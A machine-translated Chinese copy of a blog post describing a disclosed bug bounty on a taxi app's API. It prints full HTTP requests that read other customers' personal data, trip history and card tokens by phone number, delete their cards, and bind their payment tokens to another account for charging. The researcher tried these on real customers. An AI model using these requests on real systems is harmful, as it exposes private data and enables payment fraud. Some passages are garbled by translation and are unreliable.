如何由他人负担出租车的费用-以一项服务为例的漏洞

在发现乌克兰一家银行的移动银行中的漏洞 ,我想稍微改变一下方向,从金融服务转向其他服务。

一篇有关更新的移动出租车应用程序的广告文章引起了我的注意,我选择它作为实验性文章。

这里的工具是相同的:PC,Fiddler,Android智能手机-安装应用程序并跟踪其请求。

我在注册或登录时没有特别考虑请求和答案(例如,我没有检查暴力密码的可能性),但是在注册后切换到了可用的功能。

由于我没有使用该服务的旅行记录,并且我不想进行实际旅行以进行测试,因此我需要其他客户之一的数据。 我决定向朋友询问该服务的帐户。 在相识的人中有这辆出租车的客人,但他们在打电话的帮助下以老式的方式给他打了电话。

然后,我开始在互联网上公开可用的信息中寻找电话号码-例如在官方网站上以及社交网络中的评论中( 通常是不满意的客户,描述投诉,将其留在评论中以供公众查看,而不是将公司发送给他们的个人PM )。 结果,我在一个求职网站上找到了几部电话。 我在随后的请求中替换了其中一个,并收到了外界无法访问的信息。



这些是以下问题:

1.我们获得客户ID,他的姓名,电话,电子邮件和城市 (出租车在多个城市都可以使用)。

当应用程序加载配置文件时,将执行以下POST请求:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 37 func=loadMyInfo&phone=%2B380671234567 

loadMyInfo&phone函数loadMyInfo&phone别人的电话号码loadMyInfo&phone ,作为回应,我收到了客户ID,他的全名,电话,电子邮件和城市:

 [{"id":14014,"varFirstName":" ","varLastName":"","varSurName":" ","varTel":"+380671234567","varTel2":"","varEmail":"Sergey_ivan@some.mail","city":1,"cityName":""}] 


2)有关客户支付卡的信息

在第二个请求中,我能够获得有关客户添加到我的个人帐户中的支付卡的信息:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 58 data={"Task":"GetClientCardsData","phone":"+380671234567"} 

答案是:

 {"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":""}]} 

这里有可用的:截断的卡号,某种令牌,卡的类型,卡是否默认安装及其名称。

3)获取有关客户行程的信息

第三个请求-loadHistory-有望为我提供最大和最重要的信息(正如我当时认为的那样):

 https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 38 func=loadHistory&phone=%2B380671234567 

部分答案(与以前一样,数据已更改)

 {"id":454875,"From":"- ., 1","To":"і ., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"  ,Toyota Corolla,, 3733 ","city":1,"cityName":"ї","distance":"0.00"} {"id":408880,"From":"  ., 2","To":"- ., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"  ,Toyota Corolla,, 0415 ","city":null,"cityName":null,"distance":"0.00"} 

提供以下信息:出发地址,目的地地址,旅行的日期和时间,费用以及出租车司机的全名,汽车的类型,颜色和编号。

总计:通过几个请求,您可以通过电话号码找到有关此服务客户的所有信息,包括其个人生活的某些详细信息(例如,从一个地址到另一个地址的凌晨2点去新年)。

当然,应用程序中还有其他地方可以获得其他信息。 但是已经发现足够的信息可以通知开发人员了,我立即采取了直接措施来指导工作地址。

我们通信了一个月,后来他们付了我一笔费用。



然后此帖子可以结束,但是我决定再次检查所有错误是否都已解决。

是的,三个请求中的两个不再向我提供其他人的信息, 但是一个仍然有效。

支付卡以与其他任何方式相同的方式添加到此应用程序:首先,在特殊页面上,客户端指示完整编号,有效期和CVV卡。 然后通过注销1 UAH进行验证。 并使用3-D Secure / LookUp进行此类操作的客户确认。 这是正常做法,客户卡的完整编号和其他付款详细信息不在请求中。

但是,由于我看到添加的卡被以下形式的请求删除: data={"Task":"DeleteClientCardsData", "rectoken":"bc65bbef2390329ccaffe873a0e88caf49" } ,所以我决定检查:如果我指定另一个客户端的令牌,会发生什么。

4)通过令牌移除他人的卡

我用另一个令牌执行请求:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 86 data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"} 

外星人卡不见了!

我还用相同的查询#2进行了检查-是只是视觉响应{"status":"Success"."err":""} ,还是卡已从客户端中真正删除。

该地图确实已被删除。

我立刻写了第二封信道歉,但决定进一步为自己创建一个帐户进行进一步试验:如果可以用令牌删除该卡-也许可以用相同的令牌链接该卡,并且可以将其绑定到自身上?

5)通过令牌将他人的卡添加到您的帐户中

是的,我不会感到沮丧-别人的卡可能会绑在身上。 最主要的是要知道令牌(由于存在开放式问题2,您可以了解令牌)。

在POST请求中,可以指定任何数据-卡号的前6位和后4位,至少500,000 **** 1111-卡在视觉上与此数据相关联,并且令牌来自另一个客户端并且有效。

 POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 221 data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"} 

这是什么意思:由于可以将令牌链接到我的帐户,因此我可以花别人的钱去旅行,而无需知道卡的详细信息,也不需要任何其他验证-毕竟,卡已经由客户添加,并且已经由付款服务成功验证。

关于使用他人卡付款的能力的说明:
为了简化付款的付款细节输入,使用了基于令牌的一键式付款。 在第一次购买时,客户输入付款数据,随后再向客户付款,单击“付款”按钮就足够了。

令牌是分配给系统中一组卡参数的唯一编号。 此令牌可用于直接付款,而无需输入CVV且无需3-D安全身份验证。

选配
创建令牌是通过输入客户的完整详细信息(卡号,有效期,CVV)来成功付款/冻结客户卡上资金的过程。 您可以如下创建令牌:

  1. 接受付款(购买)-客户成功付款并提供完整的卡详细信息。 该卡被分配了一个recToken并在响应中发送。
  2. 卡的验证/令牌的接收(验证)-卡的成功验证,冻结了客户卡上的资金。 该卡被分配了一个recToken并在响应中发送。


通过令牌注销-通过从商家转移令牌,在没有客户参与的情况下在卡上借记/冻结资金的操作。

从此处获取示例说明。

开发人员要求证明将令牌从他们的帐户转移到我的账户并订购出租车的可能性-他们需要确保确实会扣除令牌。 当然,命令通过了,钱被借了( 我没上车 )。 后来他们又付了我一些钱。



从本文和以前的文章中您可以看到,有时仅靠PHPSESSID,Authorization或SecurityToken是不够的。

如果您是开发人员,请遵循提出的要求。 如果您是测试人员,请进行搜索和查找,但请务必将其告知开发人员。 漏洞无处不在,所以请成为一个白人黑客。

Source: https://habr.com/ru/post/zh-CN443928/


All Articles